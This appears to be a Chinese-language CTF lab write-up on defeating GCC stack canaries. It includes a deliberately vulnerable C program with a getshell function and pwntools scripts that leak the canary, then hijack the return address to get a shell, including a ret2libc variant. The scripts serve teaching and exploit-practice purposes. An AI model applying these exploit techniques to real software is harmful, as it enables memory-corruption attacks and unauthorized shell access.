• ctfwiki-pwn:canary


    GCC 中使用以下参数设置 Canary:

    -fstack-protector 启用保护,不过只为局部变量中含有数组的函数插入保护

    -fstack-protector-all 启用保护,为所有函数插入保护

    -fstack-protector-strong -fstack-protector-explicit 只对有明确 stack_protect attribute 的函数开启保护

    -fno-stack-protector 禁用保护

     

    Canary

    序言 

    Canary 是一种十分有效的解决栈溢出问题的漏洞缓解措施。但是并不意味着 Canary 就能够阻止所有的栈溢出利用,在这里给出了常见的存在 Canary 的栈溢出利用思路,请注意每种方法都有特定的环境要求。

    源码:

    // ex2.c
    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <string.h>
    void getshell(void) {
        system("/bin/sh");
    }
    void init() {
        setbuf(stdin, NULL);
        setbuf(stdout, NULL);
        setbuf(stderr, NULL);
    }
    void vuln() {
        char buf[100];
        for(int i=0;i<2;i++){
            read(0, buf, 0x200);
            printf(buf);
        }
    }
    int main(void) {
        init();
        puts("Hello Hacker!");
        vuln();
        return 0;
    }

    编译为 32bit 程序并关闭 PIE 保护 (默认开启 NX,ASLR,Canary 保护)

    gcc -m32 -no-pie ex2.c -o ex2

    我们使用gdb-peda,尝试获取溢出的偏移值,发现程序报错了SIGABR

    SIGABRT是中止一个程序,它可以被捕捉,但不能被阻塞。处理函数返回后,所有打开的文件描述符将会被关闭,流也会被flush。

     

    这里我的理解是我们开启了canary,我们输入的字符覆盖了canary插入的cookie,被检测出来了,程序就终止了。

    Canary 实现原理 

    开启 Canary 保护的 stack 结构大概如下:

    泄露栈中的 Canary

    Canary 设计为以字节 x00 结尾,本意是为了保证 Canary 可以截断字符串。 泄露栈中的 Canary 的思路是覆盖 Canary 的低字节,来打印出剩余的 Canary 部分。 这种利用方式需要存在合适的输出函数,并且可能需要第一溢出泄露 Canary,之后再次溢出控制执行流程。

    Canary 绕过技术

    首先通过覆盖 Canary 最后一个 x00 字节来打印出 4 位的 Canary 之后,计算好偏移,将 Canary 填入到相应的溢出位置,实现 Ret 到 getshell 函数中

    我们先尝试获取canary的值,因为是小端,所以canary高地址存的是0,那么我们将0覆盖后就可以打印出canary的值了

    from pwn import *
    context(log_level = 'debug', arch = 'i386', os = 'linux')
    io=process('./ex2')
    getshell=ELF('./ex2').sym['getshell']
    io.recvuntil("Hello Hacker!
    ") 
    io.sendline('a'*100)
    io.recvuntil('a'*100)
    Canary=io.recv(4)
    print(":"+str(Canary))
    print(u32(Canary)) #格式转换

    运行如图所示,我们成功将canary的值打印出来了:

     

    得到canray值之后,在第二次循环中我们可以在栈中相对的位置写入canary值,然后再写入shellcode

    在IDA PRO中查看vuln函数:

    根据IDA PRO查看的信息,这里列出在vuln函数中的栈:

    发现了buf到canary的偏移为0x70-0xC=100,我们在0xC的位置填上canary的值,这时候填充到了ebp-8h的位置(即到ebp的位置为8)

    我们填充8个字节到ebp,然后再用4个字节覆盖旧的ebp,之后才是我们想要的ret位置

    canary到返回地址的大小=8个字节(填充)+4个字节(old ebp)

    编写EXP:

    from pwn import *
    context(log_level = 'debug', arch = 'i386', os = 'linux')
    io=process('./ex2')
    getshell=ELF('./ex2').sym['getshell']
    io.recvuntil("Hello Hacker!
    ") 
    io.sendline('a'*100)
    io.recvuntil('a'*100)
    Canary=io.recv(4)
    payload='a'*100+p32((u32(Canary)-0xa))+'a'*12+p32(getshell) #buf + canary + canary到返回地址的大小 + 返回地址
    io.sendline(payload)
    io.recvuntil('a'*100)
    io.interactive()

    运行:

    附(学会举一反三):

    利用我们pwn实验2的ret2libc,编写EXP:

    from pwn import *
    context(log_level = 'debug', arch = 'i386', os = 'linux')
    
    libc_base=0xf7dc9000
    
    system=libc_base+0x0045830
    bash=libc_base+0x00192352
    
    
    io=process('./ex2')
    io.recvuntil("Hello Hacker!
    ") 
    io.sendline('a'*100)
    io.recvuntil('a'*100)
    Canary=io.recv(4)
    payload='a'*100+p32((u32(Canary)-0xa))+'a'*12+p32(system)+p32(0xdeadbeef)+p32(bash)
    io.send(payload)
    io.recvuntil('a'*100)
    io.interactive()

  • 相关阅读:
    2.27
    string.Format("{0,-50}", "qqqqqqqqqqqq")
    dataGridView
    dataGridView添加列行
    设置拖拽事件,获取拖拽内容
    ,鼠标右键,将ListView的内容存入剪贴板
    winform ListView点击行表头,排序
    Aes加密解密
    C#get ,post HttpClient
    将json格式的string转化为对象
  • 原文地址:https://www.cnblogs.com/luocodes/p/13912281.html
Copyright © 2020-2023  润新知